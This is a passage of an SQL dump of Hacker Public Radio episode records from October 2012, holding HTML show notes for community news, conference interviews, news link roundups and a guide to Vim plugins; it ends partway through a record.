(1086,'2012-10-01','HPR Community News September 2012',2894,'HPR Community News September 2012','<h2>Featuring</h2>\r\n<p>\r\n<a href=\"https://twitter.com/perlist\">Dave Morriss</a><br />\r\n<a href=\"https://dogphilosophy.net\">Epicanis</a><br />\r\n<a href=\"https://kenfallon.com\">Ken Fallon</a><br />\r\n<a href=\"https://gnuworldorder.info/\">klaatu</a><br />\r\n<a href=\"https://devrandom.ws/\">pegwole</a><br />\r\n</p>\r\n\r\n<h2>New hosts</h2>\r\n<p>Welcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=224\">Zachary De Santos</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=223\">Frederic Couchet</a>, and \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=222\">The Air Staff of Erie Looking Productions</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table summary=\"Show review from last month\">\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr ><td >1066</td>\r\n<td >HPR Community News August 2012</td>\r\n<td >Various Hosts</td>\r\n</tr>\r\n            \r\n<tr ><td >1067</td>\r\n<td >echo 01 &gt; /dev/random</td>\r\n<td >pegwole</td>\r\n</tr>\r\n            \r\n<tr ><td >1068</td>\r\n<td >Reformatting Creative Commons Content For Non-Computer Settings</td>\r\n<td >The Air Staff of Erie Looking Production</td>\r\n</tr>\r\n            \r\n<tr ><td >1069</td>\r\n<td >Eric S. Raymond speaks at the Central Phila. LUG</td>\r\n<td >Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr ><td >1070</td>\r\n<td >TGTM Newscast for 9/5/2012</td>\r\n<td >deepgeek</td>\r\n</tr>\r\n            \r\n<tr ><td >1071</td>\r\n<td >How I Cut The Cable Cord: My Settup</td>\r\n<td >BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr ><td >1072</td>\r\n<td >LiTS 015: top part 3 - Control Top</td>\r\n<td >Dann</td>\r\n</tr>\r\n            \r\n<tr ><td >1073</td>\r\n<td >Separate Presentation from Content - 1 The Web</td>\r\n<td >Ahuka</td>\r\n</tr>\r\n            \r\n<tr ><td >1074</td>\r\n<td >OGG Camp 11. Post-event Commentary with Alan Pope</td>\r\n<td >Robin Catling</td>\r\n</tr>\r\n            \r\n<tr ><td >1075</td>\r\n<td >tgtm-news-75-20120912</td>\r\n<td >deepgeek</td>\r\n</tr>\r\n            \r\n<tr ><td >1076</td>\r\n<td >Ohio LinuxFest 2012</td>\r\n<td >Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr ><td >1077</td>\r\n<td >FSCONS: Haralanova Hack for Freedom!</td>\r\n<td >Seetee</td>\r\n</tr>\r\n            \r\n<tr ><td >1078</td>\r\n<td >A podcast about software patents/unitary patent</td>\r\n<td >Frederic Couchet</td>\r\n</tr>\r\n            \r\n<tr ><td >1079</td>\r\n<td >Distributed Systems Podcast</td>\r\n<td >HPR Admins</td>\r\n</tr>\r\n            \r\n<tr ><td >1080</td>\r\n<td >TGTM Newscast for 9/19/2012 DeepGeek </td>\r\n<td >deepgeek</td>\r\n</tr>\r\n            \r\n<tr ><td >1081</td>\r\n<td >Preparing Pictures for Posting with the GIMP</td>\r\n<td >Frank Bell</td>\r\n</tr>\r\n            \r\n<tr ><td >1082</td>\r\n<td >LiTS 016: top pt 4: Alternate Windows</td>\r\n<td >Dann</td>\r\n</tr>\r\n            \r\n<tr ><td >1083</td>\r\n<td >compilers part1</td>\r\n<td >sigflup</td>\r\n</tr>\r\n            \r\n<tr ><td >1084</td>\r\n<td >Paul Levy on Learning to Dance with Spiders</td>\r\n<td >Robin Catling</td>\r\n</tr>\r\n            \r\n<tr ><td >1085</td>\r\n<td >A Stream</td>\r\n<td >Zachary De Santos</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Thanks to</h2>\r\n<ul>\r\n<li>David Whitman for paying for the fantastic banner and then some for HPR swag !</li>\r\n</ul>\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,2429,1),
(1087,'2012-10-02','The FSCONS of Jonas Öberg ',1231,'Two interviews from FSCONS 2011','<p>At the conference FSCONS I have a talk with both Henrik (who has no previous experience of FSCONS) and Jonas (who organise the conference). Two very different perspectives and a few completing comments from me.</p>\r\n\r\n<h3>Henrik</h3>\r\n\r\n<p>Henrik mentioned the two All In IT Radio episodes <a href=\"https://aiit.se/radio/0009\">\"Assembly Overclocked\"</a> where he told us of his experiences from the demo party Assembly and <a href=\"https://aiit.se/radio/0007\">\"Should Cars Get Smarter?\"</a> where we talk about Qt, In Vehicle Infotainment and such. The later show was featured as <a href=\"https://hackerpublicradio.org/eps.php?id=0854\">episode 0854</a> on Syndicated Thursday on Hacker Public Radio. We also referenced Jeremiah Foster, Johan Thelin and Mathias Klang</p>\r\n\r\n<h3>Jonas</h3>\r\n\r\n<p>When Jonas mentions \"Henrik\", he does not mean the Henrik of All In IT Radio fame, but rather Henrik Sandklef who sits on the board of <a href=\"https://ffkp.se/\">\"Föreningen fri kultur och programvara\"</a>.</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://my.fscons.org/people/jonas-oberg/\">Jonas Öberg at FSCONS.org</a> https://my.fscons.org/people/jonas-oberg/ </li>\r\n  <li><a href=\"https://creativecommons.org/staff#jonasoberg\">Jonas Öberg at Creative Commons</a> https://creativecommons.org/staff#jonasoberg</li>\r\n  <li><a href=\"https://fsfe.org/\">Free Software Foundation Europe</a> https://fsfe.org/</li>\r\n  <li><a href=\"https://vimeo.com/fscons/\">FSCONS on Vimeo</a> https://vimeo.com/fscons/</li>\r\n  <li><a href=\"https://fscons.org/2011/\">FSCONS 2011</a> https://fscons.org/2011/</li>\r\n  <li><a href=\"https://fscons.org/2012/\">FSCONS 2012</a> https://fscons.org/2012/</li>\r\n</ul>\r\n\r\n<h3>How to reach me</h3>\r\n\r\n<p>You should follow me and subscribe to All In IT Radio: </p>\r\n\r\n<ul>\r\n  <li><a href=\"https://identi.ca/alltinomit\">Identi.ca: @alltinomit</a> </li>\r\n  <li><a href=\"https://twitter.com/alltinomit\">Twitter: @alltinomit</a> </li>\r\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\r\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a> </li>\r\n</ul>\r\n',192,78,1,'CC-BY-SA','Interview,FSCONS,FSCONS 2011,Qt',0,2453,1),
(1088,'2012-10-03','Penguicon 2012',1463,'A report from Penguicon 2012 - a Linux Fest and Sci Fi convention','<p>Penguicon is at <a href=\"https://www.penguicon.org/CMS/\">https://www.penguicon.org/CMS/</a></p>\r\n<p>LoCoCast is at <a href=\"https://lococast.net\">https://lococast.net</a></p>\r\n<p>Indiana LinuxFest is at <a href=\"https://www.indianalinux.org/cms/\">https://www.indianalinux.org/cms/</a></p>\r\n<p>Science Fiction Oral History Association is at <a href=\"https://www.sfoha.org\">https://www.sfoha.org</a></p>\r\n<p>Hurricane Electric is at <a href=\"https://www.he.net\">https://www.he.net</a></p>\r\n<p>Washtenaw Linux Users Group is at <a href=\"https://www.lugwash.org\">https://www.lugwash.org</a></p>\r\n<br/>\r\n<p>Follow my blog at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a></p>\r\n<br/>\r\n<p>To submit a talk for Ohio LinuxFest, please go to <a href=\"https://ohiolinux.org/callfortalks\">https://ohiolinux.org/callfortalks</a> for more information.</p>\r\n<br/>\r\n<p>Remember to support free software!</p>\r\n',198,96,1,'CC-BY-SA','Penguicon 2012',0,2358,1),
(1089,'2012-10-04','Max Mether of SkySQL talks about MariaDB',3612,'A recording from the Northeast GNU/Linux Fest 2012','<p>\r\nRecorded at the Northeast GNU/Linux Fest 2012-03-17\r\n</p>\r\n<h2>MariaDB</h2>\r\n<p><em>From Wikipedia, the free encyclopedia</em>\r\n</p>\r\n<p>\r\nMariaDB is a community-developed branch of the MySQL database, the impetus being the community maintenance of its free status under the GNU GPL, as opposed to any uncertainty of MySQL license status under its current ownership by Oracle. The contributors are required to share their copyright with Monty Program AB.\r\n</p>\r\n<p>\r\n\r\nThe intent also being to maintain high fidelity with MySQL, ensuring a \"drop-in\" replacement capability with library binary equivalency and exacting matching with MySQL APIs and commands. It includes the XtraDB storage engine as a replacement for InnoDB,[4] as well as a new storage engine, Aria, that intends to be both a transactional and non-transactional engine perhaps even included in future versions of MySQL.\r\n</p>\r\n<p>\r\n\r\nIts lead developer is Michael \"Monty\" Widenius, the founder of MySQL and Monty Program AB. He had previously sold his company, MySQL AB, to Sun Microsystems for 1 billion USD.</p>\r\n',158,54,1,'CC-BY-SA','database,MySQL,MariaDB',0,2358,1),
(1090,'2012-10-04','TGTM Newscast for 10/2/2012',1249,'A newscast from Talk Geek to Me','\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=393751\">Union for a New Constitution Established</a></li>\r\n<li><a href=\"https://www.allgov.com/news/us-and-the-world/uruguayan-government-proposes-becoming-first-country-to-nationalize-production-and-sale-of-marijuana-120923?news=845384\">Uruguayan Government Proposes Becoming First Country to Nationalize Production and Sale of Marijuana</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/7294\">Impressions of the Venezuelan Election: Participatory Democracy vs. Western Democratic Decline</a></li>\r\n<li><a href=\"https://www.rhrealitycheck.org/article/2012/09/20/why-sex-workers-must-be-part-global-human-rights-agenda\">Why Sex Workers Must Be Part of the Global Human Rights Agenda</a></li>\r\n\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/20/the-young-and-the-brainless/\">The Young and the Brainless</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-remains-locked-up-without-charges-120930/\"> Pirate Bay Founder Remains Locked Up Without Charges</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/TPP-secrecy-must-be-stopped\">The Secrecy Must Be Stopped: Congress Members Probe USTR on the Confidential TPP Negotiations</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120921/00444620455/law-enforcement-officials-freak-out-about-possibility-having-to-get-warrants-to-read-your-email.shtml\">Law Enforcement Officials Freak Out About Possibility Of Having To Get Warrants To Read Your Email</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120928/08560420538/dhs-boss-charge-cybersecurity-doesnt-use-email-any-online-services.shtml\">DHS Boss, In Charge Of Cybersecurity, Doesn\'t Use Email Or Any Online Services</a></li>\r\n\r\n<li><a href=\"https://torrentfreak.com/too-legit-to-quit-124-2m-legal-bittorrent-music-downloads-in-2012-120922/\">Too Legit To Quit: 124.2m Legal BitTorrent Music Downloads in 2012</a></li></ul>\r\n<p>Other Headlines:</p>\r\n\r\n<ul><li><a href=\"https://m.smh.com.au/opinion/political-news/us-calls-assange-enemy-of-state-20120927-26m7s.html\">US calls Assange \'enemy of state\'</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1426\">Holland Election Leaves Up in the Air the Question of \'Weed Pass\' and the Future of Dutch Coffee Shops for Tourists</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/09/victory-for-45000-workers-at-verizon/\">Tentative contract for 45,000 East Coast Verizon workers</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120926/20003120523/do-bad-things-happen-when-works-enter-public-domain-data-says-no.shtml\">Do Bad Things Happen When Works Enter The Public Domain? The Data Says... No</a></li>\r\n<li><a href=\"https://torrentfreak.com/file-sharing-for-personal-use-declared-legal-in-portugal-120927/\"> File-Sharing for Personal Use Declared Legal in Portugal</a></li></ul>\r\n<p>News from \"techdirt.com,\" \"icelandreview.com,\"&nbsp; \"maggiemcneill.wordpress.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n\r\n<p>News from \"rhrealitycheck.org\" used under permission of the Creative Commons by-attribution share-alike license.<br />\r\n</p>\r\n\r\n<p>News from \"venezuelanalysis.com\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=393751\">https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=393751</a></li>\r\n<li><a href=\"https://www.allgov.com/news/us-and-the-world/uruguayan-government-proposes-becoming-first-country-to-nationalize-production-and-sale-of-marijuana-120923?news=845384\">https://www.allgov.com/news/us-and-the-world/uruguayan-government-proposes-becoming-first-country-to-nationalize-production-and-sale-of-marijuana-120923?news=845384</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/7294\">https://venezuelanalysis.com/analysis/7294</a></li>\r\n<li><a href=\"https://www.rhrealitycheck.org/article/2012/09/20/why-sex-workers-must-be-part-global-human-rights-agenda\">https://www.rhrealitycheck.org/article/2012/09/20/why-sex-workers-must-be-part-global-human-rights-agenda</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/20/the-young-and-the-brainless/\">https://maggiemcneill.wordpress.com/2012/09/20/the-young-and-the-brainless/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-remains-locked-up-without-charges-120930/\">https://torrentfreak.com/pirate-bay-founder-remains-locked-up-without-charges-120930/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/TPP-secrecy-must-be-stopped\">https://www.eff.org/deeplinks/2012/09/TPP-secrecy-must-be-stopped</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120921/00444620455/law-enforcement-officials-freak-out-about-possibility-having-to-get-warrants-to-read-your-email.shtml\">https://www.techdirt.com/articles/20120921/00444620455/law-enforcement-officials-freak-out-about-possibility-having-to-get-warrants-to-read-your-email.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120928/08560420538/dhs-boss-charge-cybersecurity-doesnt-use-email-any-online-services.shtml\">https://www.techdirt.com/articles/20120928/08560420538/dhs-boss-charge-cybersecurity-doesnt-use-email-any-online-services.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/too-legit-to-quit-124-2m-legal-bittorrent-music-downloads-in-2012-120922/\">https://torrentfreak.com/too-legit-to-quit-124-2m-legal-bittorrent-music-downloads-in-2012-120922/</a></li>\r\n<li><a href=\"https://m.smh.com.au/opinion/political-news/us-calls-assange-enemy-of-state-20120927-26m7s.html\">https://m.smh.com.au/opinion/political-news/us-calls-assange-enemy-of-state-20120927-26m7s.html</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1426\">https://sacsis.org.za/site/article/1426</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/09/victory-for-45000-workers-at-verizon/\">https://www.thestand.org/2012/09/victory-for-45000-workers-at-verizon/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120926/20003120523/do-bad-things-happen-when-works-enter-public-domain-data-says-no.shtml\">https://www.techdirt.com/articles/20120926/20003120523/do-bad-things-happen-when-works-enter-public-domain-data-says-no.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/file-sharing-for-personal-use-declared-legal-in-portugal-120927/\">https://torrentfreak.com/file-sharing-for-personal-use-declared-legal-in-portugal-120927/</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2349,1),
(1091,'2012-10-05','Useful Vim Plugins',1167,'Some of the Vim/gVim plugins I use and would like to recommend','<h1>Useful Vim Plugins</h1>\n <p>I started learning <code>vi</code> a long time ago when I first encountered Unix systems. In those days you could usually count on a system having <code>vi</code> (or at a pinch, when the system would only boot into single user mode, <code>ed</code>). Learning Emacs didn\'t seem like a good choice since it wasn\'t usually available on the systems I was administering.</p>\n <p>I don\'t remember when I changed to Vim, but for many years I have used it (actually gVim) as an IDE (Integrated Development Environment), particularly for writing Bash and Perl scripts.</p>\n <p>In these notes I have listed some of the plugins I use to enhance Vim and gVim\'s functionality. If you have never made enhancements to this editor, here\'s a site with a very good tutorial on how to install plugins <a href=\"https://www.installationwiki.com/Installing_Vim_Scripts\">https://www.installationwiki.com/Installing_Vim_Scripts</a>.</p>\n <hr />\n <p><strong><u>NERDTree</u></strong></p>\n <ul>\n  <li>Author: Marty Grenfell</li>\n  <li>Version: 4.2.0</li>\n  <li>Updated: 2011-12-28</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=1658\">https://www.vim.org/scripts/script.php?script_id=1658</a></li>\n </ul>\n <p>This plugin provides a file browser within Vim/gVim. A particular directory is opened by typing <strong><code>:NERDTree somedir</code></strong>. A tree is displayed in a window which can be scrolled and traversed to find files to edit.</p>\n <p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/NERDTree.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.NERDTree.png\" /></a></p>\n <p>In case you\'re interested, the colour theme I use in gVim is \"Murphy\".</p>\n <p>Type <strong><code>:h NERD_tree</code></strong> for the large and comprehensive help file.</p>\n <p>I prefer to use NERDTree in gVim and not in Vim. To achieve this I have the following in my ~/.vimrc</p><pre>\n  \" NERDTree settings (only in GUI mode)\n  if has(\"gui_running\")\n      let NERDTreeRoot = \'~\'\n      let NERDTreeIgnore = [\'\\~$\', \'\\.swp$\']\n      let NERDTreeShowHidden = 1\n      let NERDTreeShowBookmarks = 1\n      let NERDTreeChDirMode = 2\n  else\n      let loaded_nerd_tree = 1\n  endif\n</pre><hr />\n <p><strong><u>Bash-support</u></strong></p>\n <ul>\n  <li>Author: Fritz Mehner</li>\n  <li>Version: 3.10</li>\n  <li>Updated: 2012-06-01</li>\n  <li>URL: <a href=\"https://vim.sourceforge.net/scripts/script.php?script_id=365\">https://vim.sourceforge.net/scripts/script.php?script_id=365</a></li>\n </ul>\n <p>This one provides a Bash scripting IDE for Vim and gVim. I find it most usable in gVim where it offers a comprehensive set of menus which you can see in the example.</p>\n <p>From the Help text:</p><pre>\n  It is written to considerably speed up writing code in a consistent style.\n  This is done by inserting complete statements, comments, idioms, and code\n  snippets. Syntax checking, running a script, starting a debugger can be done\n  with a keystroke. There are many additional hints and options which can\n  improve speed and comfort when writing shell scripts.\n</pre><p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/Bash-support.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.Bash-support.png\" /></a></p>\n <p>The plugin can be used from the menu or by typing short-cut sequences such as <strong><code>\\ct</code></strong> which inserts the current date and time at the cursor position. It\'s an amazingly detailed package that\'s well worth dedicating the time to learn if you often write Bash scripts.</p>\n <hr />\n <p><strong><u>Perl-support</u></strong></p>\n <ul>\n  <li>Author: Fritz Mehner</li>\n  <li>Version: 5.1</li>\n  <li>Updated: 2012-06-01</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=556\">https://www.vim.org/scripts/script.php?script_id=556</a></li>\n </ul>\n <p>This plugin provides a Perl scripting IDE for Vim and gVim. As with the Bash plugin from the same author I find it most useful from gVim where the menus can be used to perform a wide range of actions.</p>\n <p>Again, you can use it to insert statements, boilerplate text and comments, in a similar way to the Bash plugin. You can also get regular expression help, check, run and debug the script</p>\n <p>Two of the functions I find particularly useful are <strong><code>perltidy</code></strong> and <strong><code>perlcritic</code></strong>. Perltidy will reformat your Perl script, and Perlcritic will critique it according to the rules based on <i>Damian Conway\'s</i> book <strong>Perl Best Practices</strong>.</p>\n <p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/Perl-support_critic.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.Perl-support_critic.png\" /></a></p>\n <p>Note the lower window showing the various problems detected by perlcritic.</p>\n <p>If you are a <code>C</code> or <code>C++</code> programmer Fritz Mehner also provides a plugin for these languages <a href=\"https://www.vim.org/scripts/script.php?script_id=213\">here</a>.</p>\n <hr />\n <p><strong><u>manpageview</u></strong></p>\n <ul>\n  <li>Author: Charles E. Campbell, Jr.</li>\n  <li>Version: v24</li>\n  <li>Updated: 2011-01-03</li>\n  <li>URL: <a href=\"https://www.drchip.org/astronaut/vim/index.html#MANPAGEVIEW\">https://www.drchip.org/astronaut/vim/index.html#MANPAGEVIEW</a></li>\n </ul>\n <p>This is a man page viewer for use within Vim. Use <strong><code>:Man topic</code></strong> or press <strong><code>K</code></strong> on a keyword. Can view perl, php and python help.</p>\n <p>This is a great way to view man pages, with the ability to search and cut and paste the contents.</p>\n <hr />\n <p><strong><u>Surround</u></strong></p>\n <ul>\n  <li>Author: Tim Pope</li>\n  <li>Version: 1.90</li>\n  <li>Updated: 2010-03-06</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=1697\">https://www.vim.org/scripts/script.php?script_id=1697</a></li>\n </ul>\n <p>The plugin provides mappings to easily delete, change and add \"surroundings\" such as quotes, braces and parentheses.</p>\n <p>The following extract from the Help text should make this clearer:</p><pre>\n  Consider the following examples.  An asterisk (*) is used to denote the cursor\n  position.\n  \n    Old text                  Command     New text\n    \"Hello *world!\"           ds\"         Hello world!\n    [123+4*56]/2              cs])        (123+456)/2\n    \"Look ma, I\'m *HTML!\"     cs\"&lt;q&gt;      &lt;q&gt;Look ma, I\'m HTML!&lt;/q&gt;\n    if *x&gt;3 {                 ysW(        if ( x&gt;3 ) {\n    my $str = *whee!;         vlllls\'     my $str = \'whee!\';\n</pre><hr />\n <p><strong><u>Fugitive</u></strong></p>\n <ul>\n  <li>Author: Tim Pope</li>\n  <li>Version: 1.2</li>\n  <li>Updated: 2011-04-29</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=2975\">https://www.vim.org/scripts/script.php?script_id=2975</a></li>\n </ul>\n <p>A very powerful interface to git.</p>\n <p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/Fugitive.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.Fugitive.png\" /></a></p>\n <p>The image shows the result of the <strong><code>:Gstatus</code></strong> command which is equivalent to typing <strong><code>git status</code></strong> on the command line.</p>\n <hr />\n <p><strong><u>Taglist</u></strong></p>\n <ul>\n  <li>Author: Yegappan Lakshmanan</li>\n  <li>Version: 4.5</li>\n  <li>Updated: 2007-09-21</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=273\">https://www.vim.org/scripts/script.php?script_id=273</a></li>\n </ul>\n <p>This plugin provides source code browsing by listing tags (functions, classes, structures, variables, etc.). The list is in a window in Vim or in a menu in gVim.</p>\n <p>The plugin makes us of the <u>Exuberant Ctags</u> utility to index tags in a source file. I believe that most Linux distributions ship with this utility, but if not it seems to be easily available in repositories.</p>\n <p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/Taglist_window.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.Taglist_window.png\" /></a></p>\n <p>The image shows gVim with the tag list in a window. I find the menu in gVim more useful myself.</p>\n <hr />\n <p><strong><u>Supertab</u></strong></p>\n <ul>\n  <li>Author: Eric Van Dewoestine</li>\n  <li>Version: 2.0</li>\n  <li>Updated: 2012-06-01</li>\n  <li>URL: <a href=\"https://www.vim.org/scripts/script.php?script_id=1643\">https://www.vim.org/scripts/script.php?script_id=1643</a></li>\n </ul>\n <p>Provides insert completion functionality using the Tab key.</p>\n <p><a href=\"https://www.hackerpublicradio.org/eps/hpr1091/Supertab.png\"><img align=\"middle\" alt=\"\" border=\"0\" src=\"https://www.hackerpublicradio.org/eps/hpr1091/thumb.Supertab.png\" /></a></p>\n <p>The example shows a Perl script where the choice being made from the list offered by Supertab is <strong><code>uptodate</code></strong>. Note also that manpageview is being used to view the manpage for the <strong><code>CPAN</code></strong> module.</p>\n <p>It has taken me a while to learn <u>not</u> to use the Tab key to enter TAB characters but to use CTRL-Tab instead. However, I have decided that the advantages of redefining the Tab key in this way outweigh the disadvantages. You might not agree!</p>',225,0,1,'CC-BY-SA','vim,gvim,NERDTree,Bash-support,Perl-support,manpageview,surround,fugitive,taglist,supertab',0,2570,1),
(1092,'2012-10-08','Ham Radio: The Original Tech Geek Passion',3343,'Mr Gadgets talks about his interest and long experience in Amateur Radio','<p>\r\nHere are some ShowNote Links:\r\n</p>\r\n<p>\r\n<a href=\"https://www.iw5edi.com/ham-radio/?a-beginners-guide-to-amateur-radio,77\">https://www.iw5edi.com/ham-radio/?a-beginners-guide-to-amateur-radio,77</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Amateur_radio\">https://en.wikipedia.org/wiki/Amateur_radio</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.arrl.org\">www.arrl.org</a>\r\n<a href=\"https://www.w5yi.org\">www.w5yi.org</a>\r\n<a href=\"https://www.rsgb.org\">www.rsgb.org</a>\r\n<a href=\"https://www.rac.ca\">www.rac.ca</a>\r\n<a href=\"https://en.wikipedia.org/wiki/List_of_amateur_radio_organizations\">https://en.wikipedia.org/wiki/List_of_amateur_radio_organizations</a>\r\n</p>\r\n<p>\r\nKeep up the Great Work!\r\n</p>\r\n<p>\r\nBB aka MrGadgets\r\n</p>\r\n<p>\r\nP.S. I\'m Baaaaaaack... ;-)\r\n</p>',155,0,1,'CC-BY-SA','HAM radio,amateur radio,CB radio,Morse code',0,2483,1),
(1093,'2012-10-10','Separate Presentation from Content - 2 Office Software',1434,'A continuation of the topic of presentation versus content','<p>Alfresco <a href=\"https://www.alfresco.com/\">https://www.alfresco.com/</a></p>\r\n<p>Ohio LinuxFest is September 28-30 in Columbus, Ohio. Go to <a href=\"https://ohiolinux.org/\">https://ohiolinux.org/</a> for more information.</p>\r\n<p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,70,1,'CC-BY-SA','presentation,content,office software,semantic encoding',0,2453,1),
(1094,'2012-10-11','Linux, Beer, and Who Cares?',3005,'A recording of an impromptu podcast session','<P>By BuyerBrown, RedDwarf, and FiftyOneFifty</P>\r\n<P >This is a recording of an impromptu\r\nbull session that came about one night after BuyerBrown, RedDwarf,\r\nand I had been waiting around on Mumble for another host to join in. \r\nAfter giving up on recording our scheduled podcast, we stayed up for\r\nabout an hour talking and drinking when Buyer suddenly asked Red and\r\nI to find current events articles concerning Linux.   When that task\r\nwas completed, Buyer announced he was launching a live audiocast over\r\nMixlr.com with us as his guests.  You are about to hear the result. \r\nTopics range from the prospects of Linux taking over the small\r\nbusiness server market, now that Microsoft has retreated from the\r\nfield,  Android tablets and the future of the desktop in general, and\r\nthe (at the time) revelation that Steam would be coming to Linux (on\r\nthe last point, let me be the first to say that I am glad some of the\r\nconcerns in my rant appear to be unfounded, apparently after a lot of\r\nwork, Left for Dead 2 runs faster under Linux than it does under\r\nWindows with equivalent hardware.  This podcast was recorded on a\r\nwhim but I can\'t promise it won\'t happen again.</P>\r\n',131,0,1,'CC-BY-SA','podcast,audiocast',0,2561,1),
(1095,'2012-10-12','TGTM Newscast for 2012/10/07',1137,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.allgov.com/news/where-is-the-money-going/another-longstanding-montana-campaign-funding-law-struck-down-121005?news=845869\">Another Longstanding Montana Campaign Funding Law Struck Down</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/1/headlines#1015\">Youngest Gitmo Prisoner Transferred to Canada</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13809/legislate_first_ask_questions_never1/\">Legislate First, Ask Questions Never</a></li>\r\n<li><a href=\"https://peoplesworld.org/california-approves-election-day-voter-registration/\">California approves election-day voter registration</a></li>\r\n\r\n<li><a href=\"https://www.thestand.org/2012/09/small-nfib-gets-big-bucks-from-gop-funders/\">‘Small’ NFIB’s big bucks from GOP funders</a></li>\r\n<li><a href=\"https://torrentfreak.com/prq-raid-targets-revealed-pirate-party-gets-boost-plot-thickens-121003/\">PRQ Raid Targets Revealed, Pirate Party Gets Boost, Plot Thickens….</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/governor-browns-vetoes-california-electronic-privacy-protection-again\">Governor Brown Vetoes California Electronic Privacy Protection. Again.</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121004/12122520595/why-mpaa-cant-win-hearts-minds-public-file-sharing-is-mainstream.shtml\">Why The MPAA Can\'t \'Win The Hearts And Minds\' Of The Public: File Sharing Is Mainstream</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121004/09270920593/report-internet-freedom-shows-were-seeing-less-less-it.shtml\">Report On Internet Freedom Shows We\'re Seeing Less And Less Of It</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-seized-data-case-will-get-a-hearing-court-rules-121005/\">Megaupload Seized Data Case Will Get a Hearing, Court Rules</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://maggiemcneill.wordpress.com/2012/10/05/so-close-and-yet-so-far/\">So Close and Yet So Far</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/10/01/thought-control/\">Thought Control</a></li>\r\n\r\n<li><a href=\"https://www.democracynow.org/2012/10/4/expanding_the_debate_exclusive_third_party\">Expanding the Debate Exclusive: Third Party Candidates Break the Sound Barrier As Obama-Romney Spar</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1447\">Washington Doesn\'t Like Democratic Elections in Venezuela, Because of the 